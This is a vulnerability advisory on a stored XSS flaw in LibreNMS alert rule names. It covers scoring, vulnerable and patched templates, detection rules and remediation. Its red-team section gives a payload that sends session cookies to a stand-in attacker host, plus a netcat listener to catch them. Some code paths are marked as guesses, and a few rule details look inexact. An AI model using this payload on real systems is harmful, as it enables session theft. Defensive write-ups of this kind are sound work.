CVE-2025-62412

Executive Summary

CVE-2025-62412 is a stored Cross-Site Scripting (XSS) vulnerability in LibreNMS, a community-based GPL-licensed network monitoring system. The vulnerability exists in the alert rule name field on the Alerts > Alert Rules page, where user-supplied input is not properly sanitized before being rendered. An authenticated attacker with the ability to create or edit alert rules can inject arbitrary HTML or JavaScript code. When an administrator or other user views the alert rules list, the injected code executes in their browser session, potentially leading to session hijacking, credential theft, or further compromise of the monitoring infrastructure. The vulnerability is fixed in LibreNMS version 25.10.0.

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is not in a third-party package but in the core application code. However, organizations using LibreNMS should verify their deployment source and ensure they are not using forked or unofficial versions that may not include the patch.

CVSS Breakdown & Threat Level

• CVSS Score: 3.8 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with alert rule creation/edit rights)
• User Interaction: Required (victim must view the alert rules page)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (HTML/JavaScript injection)
• Availability Impact: None

Threat Level: Low. The vulnerability requires authentication and user interaction, limiting its exploitability. However, in a monitoring context, the impact can be amplified if an attacker targets a high-privilege administrator.

Deep Dive & Mechanics

The vulnerability resides in the app/Http/Controllers/AlertRuleController.php file (or similar) where the alert rule name is stored and later rendered without proper sanitization. The application uses Blade templating, and if the name is output using {!! $name !!} (unescaped) instead of {{ $name }} (escaped), raw HTML is rendered.

Attack Flow:

1. An authenticated attacker navigates to Alerts > Alert Rules.
2. The attacker creates a new alert rule with a malicious name, e.g., <img src=x onerror=alert('XSS')>.
3. The malicious name is stored in the database.
4. When an administrator or another user views the alert rules list, the browser executes the injected script.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding when rendering the alert rule name in the view template.

Vulnerable vs. Patched Code

Vulnerable Code (Blade template):

// resources/views/alerts/rules.blade.php (example)
<td>{!! $rule->name !!}</td>

Patched Code:

// resources/views/alerts/rules.blade.php (example)
<td>{{ $rule->name }}</td>

The patch changes the Blade directive from {!! !!} (unescaped) to {{ }} (escaped), which automatically HTML-encodes special characters like <, >, ", ', and &.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A LibreNMS instance (version < 25.10.0)
• Valid credentials with permission to create/edit alert rules

Exploitation Steps:

1. Log in to LibreNMS.
2. Navigate to Alerts > Alert Rules.
3. Click "Create Alert Rule".
4. In the "Rule Name" field, enter a payload such as:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

5. Fill in other required fields (e.g., device, rule definition) and save.
6. Wait for an administrator to view the alert rules list, or send a link to the page.

Expected Outcome: The victim's browser executes the JavaScript, sending their session cookie to the attacker's server.

Blue Team

Detection:

• Monitor for unusual alert rule names containing HTML tags or JavaScript event handlers.
• Review web server logs for requests to /alerts/rules with suspicious POST data.
• Use the Sigma rule provided in the Detection Engineering section.

Hunting:

• Query the database for alert rules with names containing <, >, onerror, onload, or javascript:.
• Check for outbound connections from the LibreNMS server to unknown IPs on port 80/443.

Lab Setup:

• Deploy a vulnerable LibreNMS instance (e.g., version 24.12.0) in a Docker container.
• Use a tool like Burp Suite or a browser developer console to craft the payload.
• Set up a listener (e.g., nc -lvnp 80) to capture the exfiltrated cookie.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the LibreNMS server.
  • Unusual Referer headers pointing to /alerts/rules.
• Host:
  • Alert rule names containing HTML tags or JavaScript in the database (alert_rules table, name column).
  • Modified view files (if attacker gained write access).
• Logs:
  • Web server logs showing POST requests to /alerts/rules with encoded HTML payloads.
  • Application logs showing errors related to template rendering.

Detection Engineering

YARA Rule

rule CVE_2025_62412_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS alert rule names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62412"
    strings:
        $html_tag = /<[^>]+>/
        $js_event = /on\w+\s*=/i
        $script_tag = /<script[^>]*>/
    condition:
        any of them
}

Sigma Rule

title: LibreNMS Stored XSS in Alert Rule Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-62412 by injecting HTML/JavaScript into alert rule names
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/alerts/rules'
        cs-uri-query|contains: 
            - '<'
            - '>'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in rule names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62412 LibreNMS Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/alerts/rules"; http_uri; content:"<"; within:100; content:">"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade LibreNMS to version 25.10.0 or later.
• If upgrade is not possible, apply a virtual patch using a WAF to block HTML tags in alert rule names.

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security audits of the application code.
• Enforce the principle of least privilege for alert rule creation.

Workaround:

• Restrict the ability to create/edit alert rules to trusted administrators only.
• Monitor the alert_rules table for suspicious entries.

Valters IT
Securing Digital Frontiers